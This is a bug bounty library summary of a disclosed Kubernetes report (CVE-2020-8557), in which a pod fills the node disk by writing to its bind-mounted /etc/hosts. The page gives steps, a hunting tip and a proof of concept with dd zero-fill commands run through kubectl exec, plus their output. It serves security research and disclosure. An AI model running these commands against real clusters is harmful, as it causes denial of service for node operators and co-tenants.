# Node disk DOS by writing to container /etc/hosts

Pod /etc/hosts, /etc/hostname, /etc/resolv.conf are bind-mounted writable from host disk, letting any pod fill the node disk and DoS the host.

- Payout: $1,000
- Severity: medium
- Program: Kubernetes
- Found by (vendor credit): Kebe Liu of DaoCloud
- Found by: kebe
- Disclosed: 2020-07-22
- CVE: CVE-2020-8557
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/867699
- Library page: https://bugbountylibrary.com/r/h1%3A867699
- Tags: area:cloud domain:cloud impact:dos kind:bounty platform:hackerone sev:medium tech:docker tech:kubernetes technique:recon vuln:dos

**Target:** Kubernetes kubelet pod /etc/hosts, /etc/hostname, /etc/resolv.conf bind mounts
**Root cause:** Kubelet bind-mounts these files from the node filesystem into the container without read-only flag, so a container can write unbounded data to the underlying host disk.
**Steps:**
1. Create a normal pod: `kubectl run rate --image=<img>`
2. Exec in: `kubectl exec -it $POD -- sh`
3. Write to bind-mounted host file: `dd if=/dev/zero of=/etc/hosts count=1000000 bs=10M`
4. Observe host disk fill: `df -h /var/lib/kubelet` on node; container `df -h` shows /etc/hosts on /dev/mapper/centos-root
**How found:** Noticed container `df -h` showed /etc/hosts, /etc/hostname, /etc/resolv.conf mounted from host block devices (/dev/sdb, centos-root) rather than tmpfs, then tested writing to them and watched host disk usage drop.
**Exploitation:** Any user able to schedule a pod writes zeros to /etc/hosts (or /etc/hostname, /etc/resolv.conf), which are bind mounts backed by the node's root filesystem, consuming node disk until full and causing host/provider panic.
**Insight:** Check `df`/`mount` inside a container for files bind-mounted from the host rootfs (not tmpfs) — /etc/hosts, /etc/hostname, /etc/resolv.conf, /dev/termination-log — and test writing to them to reach host disk.

## Proof of concept (copied exactly from the original report)

**dd zero-fill to /etc/hosts in pod**

```
kubectl exec -it $POD_NAME -- dd if=/dev/zero of=/etc/hosts count=1000000 bs=10M
```

**dd 100MB to /etc/hosts showing host file growth**

```
kubectl exec -it rate-c848c5c8b-5b8vm -- dd if=/dev/zero of=/etc/hosts count=100 bs=1M
Defaulting container name to rate.
Use 'kubectl describe pod/rate-c848c5c8b-5b8vm -n default' to see all of the containers in this pod.
100+0 records in
100+0 records out
[root@kebe-sm-315 86aae92d-e0f2-4cf5-bb85-039b416f6b66]# ls -al
总用量 102408
drwxr-xr-x  5 root root        71 5月   7 12:29 .
drwxr-x--- 50 root root      4096 5月   7 12:29 ..
drwxr-x---  5 root root        55 5月   7 12:31 containers
-rw-r--r--  1 root root 104857600 5月   7 15:06 etc-hosts
```

